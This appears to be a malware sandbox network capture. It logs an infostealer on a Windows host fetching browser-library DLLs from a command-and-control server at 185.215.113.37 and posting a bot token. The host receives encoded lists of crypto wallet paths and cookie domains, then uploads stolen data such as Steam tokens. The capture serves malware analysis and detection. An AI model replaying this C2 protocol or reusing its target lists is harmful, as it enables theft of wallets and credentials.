Oct 23, 2024 15:48:17.324573994 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:48:16 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 23, 2024 15:48:18.328481913 CEST	93	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 23, 2024 15:48:18.610335112 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:48:18 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 23, 2024 15:48:19.599140882 CEST	93	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 23, 2024 15:48:19.880943060 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:48:19 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 23, 2024 15:48:20.220662117 CEST	94	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 23, 2024 15:48:20.503144979 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:48:20 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 23, 2024 15:48:20.714354038 CEST	90	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 23, 2024 15:48:20.996656895 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:48:20 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 23, 2024 15:48:21.904148102 CEST	94	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 23, 2024 15:48:22.186424971 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:48:22 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 23, 2024 15:48:22.335318089 CEST	98	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 23, 2024 15:48:22.616915941 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:48:22 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 23, 2024 15:48:24.745799065 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGIIEGIDHCBFIDHJDGDB Host: 185.215.113.37 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 23, 2024 15:48:25.539156914 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:48:24 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 23, 2024 15:48:25.691431999 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECBAEBGHDAECBGDGCAKE Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 42 41 45 42 47 48 44 41 45 43 42 47 44 47 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 61 34 34 32 63 32 63 36 31 31 31 31 32 35 33 33 66 31 64 33 35 38 36 35 39 31 33 30 63 66 35 34 63 36 32 37 62 38 33 34 33 35 31 39 30 38 61 36 62 38 62 35 36 30 61 34 38 38 65 31 65 64 63 34 38 30 34 30 39 63 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 41 45 42 47 48 44 41 45 43 42 47 44 47 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 41 45 42 47 48 44 41 45 43 42 47 44 47 43 41 4b 45 2d 2d 0d 0a Data Ascii: ------ECBAEBGHDAECBGDGCAKEContent-Disposition: form-data; name="token"5ba442c2c611112533f1d358659130cf54c627b834351908a6b8b560a488e1edc480409c------ECBAEBGHDAECBGDGCAKEContent-Disposition: form-data; name="message"wallets------ECBAEBGHDAECBGDGCAKE--
Oct 23, 2024 15:48:25.975934029 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:48:25 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 23, 2024 15:48:25.990602016 CEST	466	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKKEBKJJDGHCBGCAAKEH Host: 185.215.113.37 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 61 34 34 32 63 32 63 36 31 31 31 31 32 35 33 33 66 31 64 33 35 38 36 35 39 31 33 30 63 66 35 34 63 36 32 37 62 38 33 34 33 35 31 39 30 38 61 36 62 38 62 35 36 30 61 34 38 38 65 31 65 64 63 34 38 30 34 30 39 63 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 2d 2d 0d 0a Data Ascii: ------KKKEBKJJDGHCBGCAAKEHContent-Disposition: form-data; name="token"5ba442c2c611112533f1d358659130cf54c627b834351908a6b8b560a488e1edc480409c------KKKEBKJJDGHCBGCAAKEHContent-Disposition: form-data; name="message"files------KKKEBKJJDGHCBGCAAKEH--
Oct 23, 2024 15:48:26.275471926 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:48:26 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 23, 2024 15:48:26.290150881 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJJJKFIIIJJJECAAEHDB Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 4a 45 43 41 41 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 61 34 34 32 63 32 63 36 31 31 31 31 32 35 33 33 66 31 64 33 35 38 36 35 39 31 33 30 63 66 35 34 63 36 32 37 62 38 33 34 33 35 31 39 30 38 61 36 62 38 62 35 36 30 61 34 38 38 65 31 65 64 63 34 38 30 34 30 39 63 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 4a 45 43 41 41 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 4a 45 43 41 41 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KJJJKFIIIJJJECAAEHDBContent-Disposition: form-data; name="token"5ba442c2c611112533f1d358659130cf54c627b834351908a6b8b560a488e1edc480409c------KJJJKFIIIJJJECAAEHDBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KJJJKFIIIJJJECAAEHDBContent-Disposition: form-data; name="file"------KJJJKFIIIJJJECAAEHDB--
Oct 23, 2024 15:48:27.071782112 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:48:26 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 23, 2024 15:48:27.100055933 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCGCBFHCFCFBFIEBGHJE Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 47 43 42 46 48 43 46 43 46 42 46 49 45 42 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 61 34 34 32 63 32 63 36 31 31 31 31 32 35 33 33 66 31 64 33 35 38 36 35 39 31 33 30 63 66 35 34 63 36 32 37 62 38 33 34 33 35 31 39 30 38 61 36 62 38 62 35 36 30 61 34 38 38 65 31 65 64 63 34 38 30 34 30 39 63 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 43 42 46 48 43 46 43 46 42 46 49 45 42 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 43 42 46 48 43 46 43 46 42 46 49 45 42 47 48 4a 45 2d 2d 0d 0a Data Ascii: ------HCGCBFHCFCFBFIEBGHJEContent-Disposition: form-data; name="token"5ba442c2c611112533f1d358659130cf54c627b834351908a6b8b560a488e1edc480409c------HCGCBFHCFCFBFIEBGHJEContent-Disposition: form-data; name="message"ybncbhylepme------HCGCBFHCFCFBFIEBGHJE--
Oct 23, 2024 15:48:27.400032997 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:48:27 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 4736 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 2a 2e 70 6c 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6f 66 66 69 63 65 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 63 31 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 63 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 63 31 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 63 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 63 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 63 31 2e 6d 69 63 72 [TRUNCATED] Data Ascii: .pl<br> 1.google.comsupport.microsoft.comsupport.microsoft.comsupport.microsoft.comsupport.office.com.microsoft.com.microsoft.com.microsoft.comsupport.microsoft.com.microsoft.com.c1.microsoft.comsupport.microsoft.com.c.bing.com.c1.microsoft.com.bing.com.microsoft.comsupport.microsoft.com.c.bing.com.c.bing.com.c1.microsoft.comlogin.microsoftonline.comsupport.microsoft.com.microsoft.comlogin.microsoftonline.com.google.com<br>.ar<br> 1.google.comsupport.microsoft.comsupport.microsoft.comsupport.microsoft.comsupport.office.com.microsoft.com.microsoft.com.microsoft.comsupport.microsoft.com.microsoft.com.c1.microsoft.comsupport.microsoft.com.c.bing.com.c1.microsoft.com.bing.com.microsoft.comsupport.microsoft.com.c.bing.com.c.bing.com.c1.microsoft.comlogin.microsoftonline.comsupport.microsoft.com.microsoft.comlogin.microsoftonline.com.google.com<br>*.br<br> 1.google.comsupport.microsoft.comsupport.microsoft.comsupport.microsoft.comsupport.offi
